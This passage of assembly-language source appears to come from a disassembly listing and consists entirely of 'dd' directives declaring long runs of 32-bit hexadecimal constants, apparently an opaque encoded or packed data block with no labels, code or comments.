		dd 0FF5B0126h, 37F206E3h, 6D1480ABh, 0F57AC64Bh, 0FE7101E1h
		dd 0D25307EBh, 2A9580B9h, 4328BD5Ch, 31B90EFh, 0DAC1EE9Bh
		dd 3E072668h, 9AB4908Ch, 81568AF2h, 61057CA9h, 0A1F67AFCh
		dd 417054E3h, 6D5700B5h, 70A960DFh, 0C400A084h,	3685C97h
		dd 7C54E4h, 0F62BD45Fh,	0D70CB342h, 8A0051ECh, 77FBA7E6h
		dd 901EA962h, 559400EFh, 954ED76Eh, 1200EC60h, 8865A647h
		dd 1FDDEF5h, 42628E3h, 0E0BC9E08h, 39480E49h, 0A2007315h
		dd 77CBBEE9h, 79E107Ch,	76D48A8Fh, 0C6136083h, 78142BAAh
		dd 84473Bh, 9349F8F5h, 8CC57Ch,	43E6255Fh, 22C08229h, 22440C9h
		dd 0C0617327h, 0FD1CE8h, 0F9F20CDEh, 0DDC27F91h, 0D0879702h
		dd 6135E118h, 0A1C46F5Dh, 2947D24h, 275CE6A5h, 6461800Bh
		dd 4086F198h, 48CD15B8h, 1007EAECh, 5A84567Ah, 0FF3D8521h
		dd 5DD9BB40h, 0EE2709DEh, 0FE801E02h, 67F82A5Ch, 180C6800h
		dd 1995CA81h, 0CE743E47h, 6B175200h, 450EEB07h,	0BD699E00h
		dd 7B2EB6EEh, 0E48728FBh, 27DC01B3h, 7EB56BEAh,	255A6492h
		dd 0F3BB6320h, 6E52E0h,	0C46D049Bh, 0E372E61Bh,	0B953C50h
		dd 2FA22033h, 1511E842h, 29D14C76h, 0A43BF600h,	0A988C67Dh
		dd 0CAC1FB06h, 12C3A78h, 409BC09Ch, 0D5DC8D50h,	981FDCB7h
		dd 0C6BAEF09h, 0B625ADDh, 75B458E3h, 6D5FB380h,	3D018032h
		dd 64995249h, 0E0FA19B0h, 2C9E4F5Fh, 60C8A95Dh,	26A55190h
		dd 0CD815Dh, 30A75B94h,	0F554178h, 0E38953CFh, 94E8C3EBh
		dd 6A0B951h, 5909CB29h,	3241C87h, 4B6F3C57h, 0D151E18h
		dd 0F6112DECh, 57AD7B02h, 8120BB8Ch, 5425C450h,	0AA63CF4h
		dd 0B850560Eh, 74260222h, 815AFC31h, 8108478Fh,	0F86CE77h
		dd 5F3652FFh, 520F4083h, 0E907275Eh, 0E0FBCD7Eh, 0E5D647B7h
		dd 332D2003h, 1FB285B8h, 0C0C50396h, 0EC78A9E0h, 5774C377h
		dd 8A002871h, 0CD7C39F5h, 3423CFCh, 0ED06476Fh,	97809252h
		dd 1E002877h, 53E071EFh, 75D11B7h, 0EDCB3520h, 0DDEB9009h
		dd 7B7E296Ah, 4F5B0600h, 9AF02B31h, 323505A1h, 0BF40543Bh
		dd 1A236F6Bh, 2C118400h, 9D6E574h, 0D98A90ABh, 0EAB4DEC3h
		dd 4780229Bh, 74B843F8h, 698C10Bh, 4EEC7830h, 0BB0F1609h
		dd 0C602217Ah, 1D12BA58h, 0A440557Eh, 5F34DCF5h, 8497E2B2h
		dd 0A3BD6ABDh, 8B0B1EBCh, 0EA28859Dh, 14F1C15Dh, 32167F38h
		dd 2D69A178h, 20BB84Fh,	90FCCA4Ch, 90575250h, 3F3F7C3h
		dd 0A1E2D6Dh, 0B9985D3Ch, 0C00D1DBh, 7F4C0E01h,	40F392Fh
		dd 5A46B331h, 5D8CBB58h, 44381E65h, 0A0690054h,	7D014D13h
		dd 8307E91Ah, 0F7EB0968h, 7D907B11h, 0E8BEB8C2h, 81A05A15h
		dd 0A03CD61Dh, 0E15F9748h, 0C42A0389h, 0AC9AFDD3h, 7B008C1Bh
		dd 36C3EF2h, 0D3AC9837h, 18C4AA68h, 0C82A9AAFh,	4AEBC01Bh
		dd 0FD09301Fh, 546FD3D4h, 0E4444036h, 0C2006DE6h, 0E2B09C02h
		dd 25FB2A1Bh, 71FCFF65h, 5114710Bh, 0BE7CC5C4h,	0A202DB7Bh
		dd 0C9CB8075h, 0F835E0D7h, 0D9852D89h, 0BE902904h, 0B8C4DC24h
		dd 0A54C8280h, 1A40256h, 17A91476h, 0FC59F48Bh,	0ECD30300h
		dd 0CA5410h, 37631970h,	0BFE9E178h, 384AC402h, 0D75B5F65h
		dd 70041E6h, 0C8368563h, 1EF2097h, 0DC9F6FA6h, 6B905AC6h
		dd 98BB9BC5h, 7312DF03h, 6809C60Eh, 70C6D4CDh, 3883B590h
		dd 40C131D2h, 434CC324h, 219D0116h, 6BBF5B84h, 251823B0h
		dd 0E4152B77h, 7A0B00BFh, 0C0D249ECh, 0A01ACDEh, 62C28D12h
		dd 94708F36h, 1E90BD89h, 0BF7C905Fh, 72989917h,	0BDA5F9C1h
		dd 0DC7E5CEEh, 0B529E406h, 16F90E79h, 0A656B6BFh, 0C78009D1h
		dd 0E2385F92h, 8D1A0B51h, 46991D31h, 0E13C0319h, 1E94EB05h
		dd 0F4E8C0D5h, 27016B84h, 14BB2276h, 0E62B029Ch, 15E467FFh
		dd 496A1F78h, 0F213860Fh, 0C55784B2h, 963300ABh, 0FBD675F1h
		dd 0B4044100h, 0FFECF0D5h, 9EE95BB5h, 819C401h,	4C2D8DAFh
		dd 0A200A441h, 3FA352A0h, 0DD6E47h, 0F706A9C5h,	91B5897Bh
		dd 0EEA2044Eh, 0BF3FF38Ch, 6BE52905h, 99A8B016h, 0B5C834C3h
		dd 0C01AE5D7h, 9D2B70B9h, 0E478C89Fh, 0D3CCA071h, 0A724B5DBh
		dd 0B5B345CAh, 0F57232BEh, 0BDF12175h, 2A1D18D9h, 88096DE0h
		dd 14860C1h, 0FB202D2Dh, 0CD24C1h, 0C5B4F4ACh, 0F50541DAh
		dd 5DA0D377h, 900058EAh, 0DABDECCCh, 0EB8106C7h, 7C2BFAA7h
		dd 27959D16h, 8BDA39D0h, 0DC7E97D1h, 5D2A0BCBh,	5B7BC90h
		dd 9C26981h, 0DFDF92F5h, 0B85DD929h, 2DEEB7F7h,	0FBF946E9h
		dd 0E4513190h, 0F92A2EF5h, 3124994Ch, 0F24BB06Ch, 8EBF80CCh
		dd 0FC03163Ah, 0FE1AA1A5h, 0BF892B34h, 4C9D80D0h, 5F440A63h
		dd 27CE7162h, 0DF27B5ECh, 0F413DC27h, 75C5B100h, 21276C42h
		dd 7CE7CBh, 0A1BD230Bh,	0F357DCE2h, 2619516Ch, 84083EFDh
		dd 0AC97F48Dh, 997D20EBh, 0C22E5CEDh, 814E25Bh,	0C5185AFh
		dd 0ABCF65BFh, 9707166Ah, 0F0ECF231h, 8048A038h, 0FC2ADF12h
		dd 0EE020B6h, 0B2033853h, 19DCC8C5h, 5FA38AB7h,	14BD60BFh
		dd 14F57E16h, 2FFEF98h,	0D9B531FAh, 0FEE67706h,	5AD402BEh
		dd 4BD18FD7h, 210CCEC2h, 0F05BDh, 4B0DDC8Ah, 0B4F4F788h
		dd 0C463D0EFh, 8872631Ch, 0DDFDD44Eh, 4311E884h, 0FF248FD1h
		dd 0F2ADC7A0h, 40781EB0h, 87FC032h, 0C6B30CACh,	167F4C9Dh
		dd 0A279EF80h, 5F57B1D7h, 0B16F9DFDh, 75A63EBCh, 0E59ACEF0h
		dd 0F171BC01h, 0B3B5DD5Eh, 3CD2286Ah, 0F946F88Ah, 0A975B27Bh
		dd 0A235602Fh, 61001DCCh, 0A7C5FBCAh, 97E1FF91h, 5B16EA74h
		dd 198480A2h, 0C7810005h, 2B0D7D0h, 627EBF59h, 51D46D0Ch
		dd 97051C50h, 0DA01103Dh, 2DDAD28h, 0B946286Ah,	6C9E045Bh
		dd 17698F80h, 1600B7BAh, 0BF8A2C1Fh, 2D2EEC68h,	1FED600Fh
		dd 47A8E4C5h, 4E73B348h, 2227A306h, 0B36A0107h,	17227A79h
		dd 16486A0Dh, 8362A968h, 2AD9ECEAh, 0D5CDBCE0h,	679BDF00h
		dd 86D45A8Fh, 82595B7Ah, 587C5B69h, 5335DF69h, 7F871B91h
		dd 9543300Ah, 21002C4Ch, 8A5290F5h, 7505FDAh, 714BEDBFh
		dd 0E437B97Ch, 7127BC81h, 72D8EBCAh, 0AA9926C7h, 131D081Ch
		dd 0D2DBF827h, 0C8DBEE6Eh, 168047CEh, 0EEA863FCh, 70E30E16h
		dd 18C9E705h, 3B2539EAh, 955659A0h, 3D0027E4h, 6B2F4154h
		dd 481A60h, 0AADD8518h,	0C1712CBCh, 0F1A17325h,	65B30BEAh
		dd 0BB104650h, 0EC964741h, 585AC7CAh, 158DA21Fh, 82385F08h
		dd 252D9D01h, 0DE627C16h, 0B8CD33BDh, 2EFB8B60h, 619B810Fh
		dd 21F85B5h, 9E15561h, 5DE90007h, 0D8D39302h, 0CC0911A4h
		dd 0D1579EBAh, 1DFBAD16h, 8A172B24h, 0E0DE261h,	37E629A7h
		dd 0C30E109Dh, 777D272Fh, 0C4060E7Fh, 79EA66D3h, 616A3AA6h
		dd 84A42B02h
		dd 88D7641Bh, 8997C8CFh, 0C8007B7Ah, 0CF1CD0EAh, 9701E1DEh
		dd 0BF661A13h, 0D62656E4h, 0FDC58140h, 0C0C4A82Fh, 0CE099B79h
		dd 5B382792h, 72C4E0F0h, 0F6AE0446h, 0F789E049h, 708B6484h
		dd 1C22AF22h, 9E50062Ah, 89EB132Dh, 70F7FB14h, 0CD5C8F70h
		dd 18E113EDh, 3F6099BFh, 4FF78B13h, 0BDE525B0h,	0D68C1E5Fh
		dd 0D90644E8h, 0A46F2502h, 455FDB08h, 0CABF81F0h, 0A82FC6B2h
		dd 8921D2EEh, 40D4AA8Bh, 30A0E8F9h, 290021D5h, 0E5E19C09h
		dd 16C06AF1h, 0EC5FA806h, 585846Ch, 160CBB40h, 1EC93868h
		dd 559BFF8Bh, 67DFD1E8h, 94A44351h, 16975879h, 0E0A20829h
		dd 4B6AD7h, 0BE4DFEAFh,	0E5E1664h, 4BCF8114h, 0EB4FFFA5h
		dd 0FAAA6C02h, 90766490h, 9D5F7810h, 0E8006237h, 0AD011D2Ch
		dd 610E2F3Ch, 59006444h, 465A9148h, 3D9C1D89h, 0E8017CB5h
		dd 6588056Ch, 3A9A7AF1h, 64C01CC8h, 1F636F7Ah, 0C94876ADh
		dd 854614Dh, 755AE641h,	13D432E5h, 4996003Bh, 4D06CFD4h
		dd 0BB02BC56h, 43D69B8Dh, 7AEF575Bh, 9B631C64h,	844830FAh
		dd 2B01A876h, 12C88060h, 0B22E958Bh, 35CA4F26h,	765427h
		dd 86F205F6h, 0AE6EC678h, 1FD1D104h, 2943E906h,	0C0BCED97h
		dd 9030BC6Eh, 8EBF8D3h,	7CA5A156h, 0BDE075B5h, 95100B45h
		dd 0C478F9D3h, 4194B507h, 0BADEDA5Eh, 4DE6C4C0h, 0BF048036h
		dd 19EA7A6Ah, 0A812098Bh, 197ABB04h, 9DBA6501h,	41C4F3C0h
		dd 3F2F7D83h, 1723926Fh, 1518F880h, 5AA99D29h, 6A70DD1Bh
		dd 4C399621h, 908F4FCh,	0E8D260Bh, 406A95DFh, 2ABE9BF8h
		dd 98B5F4EEh, 0B795315Dh, 0BF5052E8h, 0CAD25A0Bh, 5E68291Ah
		dd 800DC8Ch, 37A974C0h,	4FE7806Eh, 0A032CAB6h, 2486C7Dh
		dd 7243AA2Ah, 6BD6AB47h, 9FDB8061h, 9B7F934Dh, 85B9CB50h
		dd 35EA79C2h, 2BDEFA5Dh, 0E635B0C1h, 38356BDCh,	27041F6Fh
		dd 0FB7A4F16h, 0C627AA2h, 96FF1291h, 0D4EB94CEh, 37F5000h
		dd 0E9D26898h, 0C5E45A0Eh, 5A82A817h, 51E0CDF6h, 0E8075AFBh
		dd 0A8C7DB57h, 0E1B501B0h, 0A692B51Bh, 0FFB7DDh, 0FF110954h
		dd 272EB2Bh, 8A44FB27h,	0FBADA79Ch, 181659E5h, 0E09E02C5h
		dd 1B61BD09h, 81E0DAD6h, 27F9F7C7h, 15D435AFh, 28A90FF4h
		dd 36E4C292h, 0EF3D84ECh, 191D6E04h, 558BE117h,	17DEFB9Fh
		dd 9D4700DFh, 0FE03E50Bh, 0BF063901h, 7BC04666h, 0F9D3756Bh
		dd 505CA8B8h, 8020BD89h, 9709BB50h, 0AB6F0A69h,	18BD123h
		dd 3F45E57Dh, 96A23A09h, 0A5B5290Bh, 505FE5A0h,	876E0F60h
		dd 0E38A0331h, 0DAAFE561h, 0E815CA55h, 505FDC9h, 0CAE5ACF9h
		dd 0B60065E9h, 68A796A1h, 82AF004Bh, 60BCBED5h,	8E7CCC45h
		dd 6E48900Bh, 44DD5938h, 8AF5335h, 960B3105h, 6FDCDC50h
		dd 0E316A612h, 1C99E0AFh, 9D890B26h, 46141915h,	0D9FE90B5h
		dd 2CB3002Fh, 8FE1663Eh, 810276B4h, 67EEF362h, 0E9BED6A8h
		dd 6140CF4Dh, 257C29FAh, 0E05CE44Dh, 9D98B80h, 971EFD8Dh
		dd 1879165Bh, 0E3396618h, 0DB0A3B88h, 1DB1DE81h, 0C1E0756Bh
		dd 6B4CBECBh, 8898E028h, 0BE126660h, 0B188FD8Eh, 0F3610004h
		dd 8DAA9417h, 0CB00E14Ah, 78FB3F67h, 4A3652E5h,	0EE638861h
		dd 842E2400h, 63C6E795h, 73C300FAh, 4FC9308Bh, 0F0252D77h
		dd 0D661D494h, 9A001A46h, 27B17351h, 8B26FDACh,	5E2D66DFh
		dd 0EDC69787h, 0ED1ECCEh, 36E594E8h, 0CB81009Eh, 1EAAF349h
		dd 0FEDA8B27h, 0E3301609h, 0A9BFC13Fh, 35205BCBh, 0A9F24B32h
		dd 2FDA3967h, 7A637BC1h, 5DE7CAD5h, 0BF2A388h, 1675168Dh
		dd 62359755h, 73CE701Ch, 0C0E43460h, 76A3FBE8h,	938A00B6h
		dd 38CF26ADh, 5B009EEEh, 70D7694Fh, 18BF66CCh, 9261E4A4h
		dd 0BC832A15h, 942CF6C0h, 906825D3h, 1A0116F1h,	13922BC8h
		dd 0FA500838h, 200D4582h, 0C848964h, 588A3FB8h,	9959050h
		dd 6279FE6Eh, 64D72350h, 6A5F2B36h, 37A7D0F9h, 0F0622C02h
		dd 78FF9D13h, 0E6125B58h, 391E03AEh, 98A23A66h,	90FC5Dh
		dd 0FB549F37h, 0CF80C47Fh, 252B4758h, 92CEDCB5h, 439BFF6Ah
		dd 0E4793580h, 313F0AC5h, 8A3203CFh, 0E2D022BFh, 9BF9826Ch
		dd 886274C6h, 37A5431Fh, 0ADBE00BEh, 0FAC19E3h,	6581984Eh
		dd 31DC34B7h, 0E53B551h, 39C60634h, 4616902h, 524882D5h
		dd 0D6D48948h, 0DB7B2FCBh, 22181651h, 43418B2Fh, 0FC4227EDh
		dd 0E8F74046h, 5902B786h, 678F51BBh, 0EB217470h, 0A040E44Dh
		dd 2B1A1EBh, 3C903B05h,	662B483h, 0D5E020CDh, 1C9E21Eh
		dd 89AD7C09h, 328D0F4Ah, 61A25BAAh, 0D810C000h,	0D6C40807h
		dd 0E0A0B451h, 149DF85Fh, 0F24A4347h, 2EB63018h, 0CA054610h
		dd 12DB5228h, 835BCCEAh, 7FC7905Bh, 507DB2C3h, 0F381B0BFh
		dd 78BB4C29h, 0DA083116h, 0E1E3250Eh, 0E2E9048Ch, 0A5FB38EBh
		dd 7A30C641h, 7A3BE99Dh, 84C80021h, 0FD33E4FFh,	0CD145E65h
		dd 3D0A69Ah, 38A75B13h,	0A6B0DE46h, 0A4028C34h,	0EB5D0F17h
		dd 498A4ACCh, 0BA213141h, 8625FBF9h, 6DB779A7h,	0C740B29Ch
		dd 0A362D159h, 0BD89098Fh, 2CD230E5h, 14A19F31h, 0BA050D7Dh
		dd 1689079Bh, 70407530h, 4D94FF4Eh, 0C27FDEBAh,	0DD22429Bh
		dd 8951E74Ch, 79E2371h,	2600347h, 40A95C12h, 97321ECh
		dd 17C52B01h, 49E19A85h, 0BD755BE4h, 960E0049h,	0AF98D0A6h
		dd 0D888295Fh, 0F8EB0581h, 0C1661743h, 771D89B7h, 0D8F8B5EAh
		dd 0EB32007Ch, 0D47B91CBh, 319D5F52h, 0C114FE5Fh, 2317926h
		dd 2045F8B0h, 0E62F13A5h, 5E2FC270h, 0E3810257h, 58740861h
		dd 0C74BDC91h, 128C924Fh, 0DF8046F3h, 10CED787h, 0D96CC466h
		dd 0DC5B0B20h, 845C752h, 8A0C422Ch, 27F76EDDh, 4E42C33Fh
		dd 6302D266h, 0A767039Ch, 3E64DD5Fh, 9023B920h,	0CDC69D50h
		dd 0C82BF917h, 1E9DC021h, 10D1679Bh, 768822CDh,	358FBF20h
		dd 8B250AC6h, 2F510885h, 94AC057Eh, 0BB000A37h,	5EBE1EB8h
		dd 5040E75Dh, 184EB588h, 444C098h, 22DA0CF4h, 82A3AA37h
		dd 34D0E93Ch, 3FF628Dh,	655DD98Ah, 8957092Fh, 0F7DB6AF5h
		dd 1907ECC2h, 0DD85E1FEh, 0EAD47A26h, 25BD6050h, 0FE385F07h
		dd 7F984078h, 52FC502Eh, 6284BB9Eh, 0F6EB4342h,	77A6A485h
		dd 7A974200h, 5DB90CD0h, 128F0F52h, 88AF3279h, 1C5C8EF5h
		dd 4988C8B2h, 6E0039F9h, 8579F41Fh, 77570164h, 20AEFBC5h
		dd 6159F49Ch, 0BC11FC4Dh, 308705F2h, 0B6C02BF5h, 43E0E762h
		dd 0BF9109D4h, 45BA4CC1h, 954C045Fh, 0FE9BBA0Ah, 53DC8A01h
		dd 24B19531h, 6DBD5B61h, 611544BDh, 0E928A74Eh,	8AE6FD5Ah
		dd 5E2D148Eh, 0A07F6BB9h, 5B14D813h, 7E52093Dh,	920B5E24h
		dd 2039B2F6h, 153B721h,	7ED69CACh, 250F4D15h, 0FCC55E72h
		dd 0C439BDF9h, 910007A8h, 5AB9ABFFh, 9AE06DEh, 958D2945h
		dd 1560EB6Fh, 1366021Ch, 0A2030F3Dh, 0DE998951h, 0B800F62Fh
		dd 3DBA858Fh, 4B24283Bh, 0C24AACF0h, 3D16459Dh,	55A58F23h
		dd 3B8EBD98h, 0BD038309h, 66EC7D39h, 903F9600h,	0D9A02F70h
		dd 9AFD00C6h, 1F465872h, 0FEB6E1FFh, 0A41003DCh, 0D28DA20Bh
		dd 3A4931E9h, 5A14AE28h, 806EDE04h, 0B5315FA6h,	8E7BE309h
		dd 53FF3511h, 792A4601h, 283A12CBh, 27C3B6ACh, 27019D33h
		dd 6284604Dh, 91FF1332h, 3A0E155Dh, 80F87337h, 0E66D82D7h
		dd 25006A44h, 5EDB8F2h,	2704846Fh, 7C4BDA49h, 26C452D4h
		dd 0AF4F8FACh, 0A6844361h, 4E6420C4h, 2A709D40h, 76C12ADAh
		dd 0DCF5A49Dh, 2E12D2BBh
		dd 7BFE42CEh, 49670170h, 52F3A68Bh, 9B8302Fh, 0C5FA9B5h
		dd 0B180C0BDh, 3472FE9Ah, 6C26F800h, 94039B8Bh,	5A4416D6h
		dd 0A8C5C5FBh, 0D1BE17DCh, 1525A1ECh, 777A81D6h, 918B9BE0h
		dd 6BF3F995h, 2DD88687h, 5FA83FBBh, 0B8FA1F9Fh,	0FE93523Fh
		dd 5D5AA35Fh, 0A6C10AAh, 5890B571h, 0B20030CEh,	62A14A4Dh
		dd 72B37DD3h, 0EB9895FAh, 127BD23h, 9F674E14h, 0E94370F6h
		dd 0F08D4C0Bh, 7044BB4Fh, 52A96585h, 0A31920ECh, 0AD56DFC5h
		dd 93E3A36Eh, 8032DAAAh, 5A825259h, 4EF5A09h, 0E8A6A7DDh
		dd 0DCAFDD47h, 4675696Dh, 0BF5C4A02h, 56F82C34h, 67A53F81h
		dd 774BF0A9h, 0F8E15900h, 0F324B9CDh, 89A72568h, 4FE2606Dh
		dd 83B98847h, 6330F725h, 9527B501h, 0A5795B27h,	0EA7072D3h
		dd 0B89B1E42h, 0C96B029Ch, 3589E920h, 0F69645F6h, 0F0A84F81h
		dd 6F68133Ah, 51ED0F49h, 0D601E0FCh, 4E23F5AFh,	963A929Dh
		dd 0D340DF5Eh, 0EDAF0h,	46B9BFD7h, 169385AEh, 110283A1h
		dd 0D8785F50h, 0F000985Ch, 85299661h, 5B9732D1h, 18157954h
		dd 4A89FE6Ah, 271A9BDh,	0D092D168h, 0DBB5422Bh,	445F12B2h
		dd 410487E3h, 5D09BB66h, 4DFB27Eh, 2BCF912Eh, 4E2007F0h
		dd 0B1E8C37h, 34B79BFh,	0F18A6090h, 18F440Bh, 9D3FF261h
		dd 5FC9D34Dh, 0D37F8F90h, 352FB090h, 5CE7592Ah,	0EA7D0802h
		dd 0A4F99531h, 6EBF61E6h, 0F7D700F4h, 270B4792h, 0AAB62556h
		dd 2982F2E5h, 752F4195h, 344EED9Ch, 29EC62F9h, 52253472h
		dd 43E76F9h, 452EC19Dh,	411F21E9h, 7508BD09h, 75F2E91Dh
		dd 1C507C53h, 39CE127Eh, 518C5B6h, 0FF0C09B0h, 0C21D717Bh
		dd 0B74C8477h, 2E7BE188h, 890BD528h, 2AC5F42Bh,	0F89AF6A7h
		dd 0A57CD97Dh, 95BBE90h, 0BB3A8E38h, 0E2854A52h, 82D19FFAh
		dd 401ADD75h, 9751EBCAh, 1559075Bh, 214F6818h, 4B4ADAE0h
		dd 3320CCA2h, 12B1BD16h, 79FF2DEAh, 0FDF0A979h,	63412C40h
		dd 0B76B0F7Eh, 0BB963944h, 84F788h, 6CAF55B4h, 0A688B062h
		dd 9707B2E8h, 0F561AEAAh, 60A4C750h, 0BB36BE66h, 0FE830F13h
		dd 72BFA8CCh, 9CC498BBh, 0EA131260h, 40C10A2Ch,	0EC45115h
		dd 5B091489h, 6DE914DCh, 8FF54226h, 7E95DB41h, 965FA34Ch
		dd 0EAC94A87h, 8E25247Fh, 896CA6D5h, 0CB054BE0h, 6A4AD4h
		dd 30D4901h, 7A23619Dh,	8B2DCADDh, 0AFC53F9Fh, 75F64A30h
		dd 0BCD814A4h, 5D6E5F6Ah, 85D5D30Bh, 1F6204F7h,	8BC463BDh
		dd 0A2F3ABDEh, 2819951Fh, 1E6817Bh, 134BF94Bh, 0ACC6A9EEh
		dd 39008C1Dh, 0E2D20359h, 5D5F975h, 8D29FA23h, 0F2F794C5h
		dd 9B057EE3h, 267693E5h, 0F1DD404h, 60965B02h, 3B40075Eh
		dd 138A5450h, 3D8BE59h,	800FE697h, 77201F48h, 2C0B8826h
		dd 0B81C350h, 584F0725h, 18DFCC0Bh, 370562Dh, 0B6F5A635h
		dd 744B338Fh, 5A8B6B9Bh, 0B1407876h, 0B833567h,	829AADFFh
		dd 0EF324DFh, 69BD0101h, 0B75F1004h, 0F07C9540h, 58ED12FEh
		dd 4B0BAA0Bh, 6CBDD52Dh, 20BCFE80h, 4B705EDAh, 4A61CACDh
		dd 0A67A0CA1h, 86A2F761h, 5D58426Ah, 315E366h, 98AF5BDh
		dd 7A99B529h, 5F5C908Dh, 0B579B88Eh, 0F33BB2CDh, 0B7F24087h
		dd 67BDA25Bh, 0A67DB9BCh, 0C0C63201h, 0C318942h, 134E726Ch
		dd 234C6E60h, 8991001Bh, 77A38A66h, 0E6BB2125h,	27564BB6h
		dd 5405806Ch, 0E817BE69h, 8AE98E9Bh, 33565182h,	5F47D0FEh
		dd 0A07A7919h, 2FA12FA4h, 22C4E459h, 2E57E157h,	0AC134A34h
		dd 7DC128AEh, 2AF3FE00h, 0C0B9A123h, 348297FFh,	55E90B3h
		dd 4FB58958h, 903149E9h, 0B72F20DCh, 71207DFh, 0FBAF1522h
		dd 48D7E384h, 77ADC164h, 0E80098B8h, 90EF3AA5h,	484ACC0h
		dd 590BBFE3h, 0B4F3FE28h, 1689571Eh, 7F4BBBD1h,	0A9500290h
		dd 0D47E54E1h, 8E001A46h, 645665C7h, 6A5AC42Eh,	14CF419Bh
		dd 38B29DE0h, 719F297Bh, 2695208Eh, 4E040A09h, 1A6995C2h
		dd 9A1014C4h, 0FB1214D6h, 96D4FB01h, 305EA6ACh,	97C38075h
		dd 2295059h, 85092404h,	0B70FC6CDh, 95A30F66h, 5BC9BDFCh
		dd 56BCF6EDh, 8EE11702h, 5DB072A2h, 0E30571F3h,	9AFA41E8h
		dd 0C0C2D14Dh, 63B7AD8Ah, 81D900B5h, 0F8E81CBBh, 0D15FFF2Ch
		dd 42E020A6h, 0F74BD776h, 0E921608Ah, 2B1919F9h, 8B179EB8h
		dd 4435BEA1h, 1D78EEFh,	28B76CF2h, 0A960ED80h, 0A8234F29h
		dd 1BFDD3CDh, 6E1C2DA8h, 0B3C0854Bh, 0CF80BA3Dh, 0C5049D1Ah
		dd 53F1122Eh, 7467A17Fh, 360086EEh, 117C2D4Bh, 2E00554h
		dd 0F6997C7h, 0A742F98Bh, 50E17DCDh, 0FA316A01h, 8001B22Bh
		dd 7AAE3508h, 118807B1h, 40BC0568h, 0B3E12214h,	8BA33E0Bh
		dd 58B7780h, 46D6FDD4h,	0F9640414h, 38BA9DE9h, 0D640A414h
		dd 6BBB1466h, 4172C6DDh, 9994412Ah, 139C2E11h, 127190F8h
		dd 0E03FB1EFh, 63E2BBBDh, 6A75F9A2h, 3B0F138h, 0B63C7537h
		dd 60CD1881h, 525CD151h, 96312C85h, 323D02C8h, 5CFEFC90h
		dd 9D5E4BA6h, 36964AF4h, 3527DE71h, 53FCD41Bh, 18C1EC10h
		dd 0F321AB4Ah, 0B52A9D2Bh, 0B39A7A31h, 40C116C8h, 792C21F0h
		dd 0BBFF6A00h, 7CCAFAC4h, 0D52D9BB0h, 0D069532Eh, 380147B9h
		dd 7E6914B6h, 0C60E371h, 0F22A4A6Dh, 14E86DEh, 0B0DE2DF7h
		dd 5F272C02h, 8516795Ch, 0C1AAAE25h, 100BDD83h,	882A11BDh
		dd 0E94F71E4h, 4A122BEFh, 5E1299D3h, 430E2779h,	0DDF0970Dh
		dd 7007DE3Ch, 371E904Dh, 0C15D7D41h, 95FDD02Bh,	918E12F9h
		dd 0E282BE27h, 19569035h, 8EBBBAC0h, 5BABAA12h,	0F7B590EFh
		dd 1097E059h, 31248h, 4B29E37Dh, 667A45DEh, 688F6512h
		dd 0E82EABE1h, 7EA590C0h, 2F2B0A40h, 0C358FCC8h, 81AA44h
		dd 79B2C6EBh, 50FBB32h,	596DC42Eh, 0A512F134h, 5712788h
		dd 2A2E923Ch, 7408EE90h, 0FC5B0418h, 7CB4B861h,	137D8517h
		dd 18FC6ACh, 0AB0D6525h, 482B48DDh, 55A52FBFh, 0DB811310h
		dd 3167DE09h, 536416h, 88BF6076h, 0CD90123Fh, 515A6113h
		dd 2DD59505h, 5CE9D4C8h, 0ABD6943Bh, 0D1AC01D4h, 0FA256494h
		dd 2345D2C4h, 0C1CBB700h, 0CF32973Eh, 252D5B5Dh, 952C2557h
		dd 0CFAD9424h, 144FD584h, 7407DCFh, 9149EC29h, 159EB1C3h
		dd 208B2E19h, 5F86A4Bh,	8D09942Ch, 0A8AC4CC9h, 0D9864D24h
		dd 2EB90021h, 0CF77A00Fh, 82EB4B55h, 0D58260E7h, 8A012ED1h
		dd 0F3EE61D3h, 0B9E073A5h, 9D01A60Dh, 0F9C85894h, 9066C02Bh
		dd 0B79EF2F0h, 58C49A1Ch, 9D018C41h, 0A6820561h, 5EF55060h
		dd 0F8651840h, 256BB43Fh, 0FC3DF4BAh, 47EF1B5h,	95E59529h
		dd 109FFA5Eh, 9178D8D3h, 8D298F04h, 0F6AB279Dh,	0B0730E2h
		dd 9E4AEB7h, 15CC3AB0h,	8F957FE6h, 0C3A450EFh, 99FFD940h
		dd 5992A957h, 76DB7AD5h, 4B12C650h, 4A136EB1h, 1B805FB8h
		dd 0F63540F1h, 91D78012h, 0C889CEE2h, 0A755BD7Dh, 2144007Fh
		dd 7B1DE5C5h, 6570B560h, 5B124120h, 0A93FA961h,	0BE80E469h
		dd 0B780124Fh, 7CCC5C27h, 0D881C41Ch, 234B61C6h, 0DA4B05CBh
		dd 0E17980D1h, 3D0C2698h, 5525BF66h, 4C003971h,	448DD497h
		dd 74D3018Bh, 0FF9B51F2h, 0B8DB39E1h, 66130043h, 7680CB6Ch
		dd 1425EB85h, 11FDC5F9h, 0BEE04BB3h, 0E01C971Ch, 8E27BB68h
		dd 533D0711h, 39EB8782h, 0E75C5F50h, 97046B50h,	0B64023CFh
		dd 128478E4h, 0BB97A5AFh, 2C9CC890h, 0DA7F00D1h, 0FF05FD93h
		dd 0FE7951BFh, 0A65759B5h, 700D60FAh, 0DC2E4082h, 25003991h
		dd 2BCC080h, 0AE1009C6h
		dd 0C3CD605Fh, 0A0AF0BC4h, 129F094Ah, 1250FC6Fh, 138DBA0Dh
		dd 5176A2Eh, 99D892AEh,	5487B2E8h, 273C601Bh, 0B6E0B4F1h
		dd 18A2AC07h, 653028FFh, 4B872501h, 6F89C53Dh, 48E116F2h
		dd 0E9A74900h, 4B4586C9h, 7899D292h, 0C23F6D2Bh, 4AF56A42h
		dd 58854A26h, 0AC53BFBEh, 9F46EC5Ah, 8EC5B35Eh,	0FA23C0C0h
		dd 0A04CFD48h, 55750096h, 0CF825986h, 0B503C3E4h, 0F67D7CB9h
		dd 1246B0AEh, 0E6E75E31h, 3017B26Dh, 0D816A028h, 7BEB5037h
		dd 0DD10E1Eh, 2B4920CEh, 9D07719Dh, 0CD80FE59h,	19B66879h
		dd 0A09E5E52h, 49808184h, 0EECC4BEAh, 0B900566Eh, 2201D86Ah
		dd 1617534Ch, 6BBF0AB7h, 2C172484h, 2E405DC9h, 0E7B48F0Fh
		dd 0DD806084h, 12BB16BBh, 6541045Ch, 0D3DDBD05h, 0E90B81A8h
		dd 2A3D020Ch, 0B701A59Fh, 0AFCF73A7h, 54FD307Bh, 0B1072FE7h
		dd 8D9C552Bh, 7F780520h, 0CC9327BBh, 6225A1D6h,	0E7CD55C4h
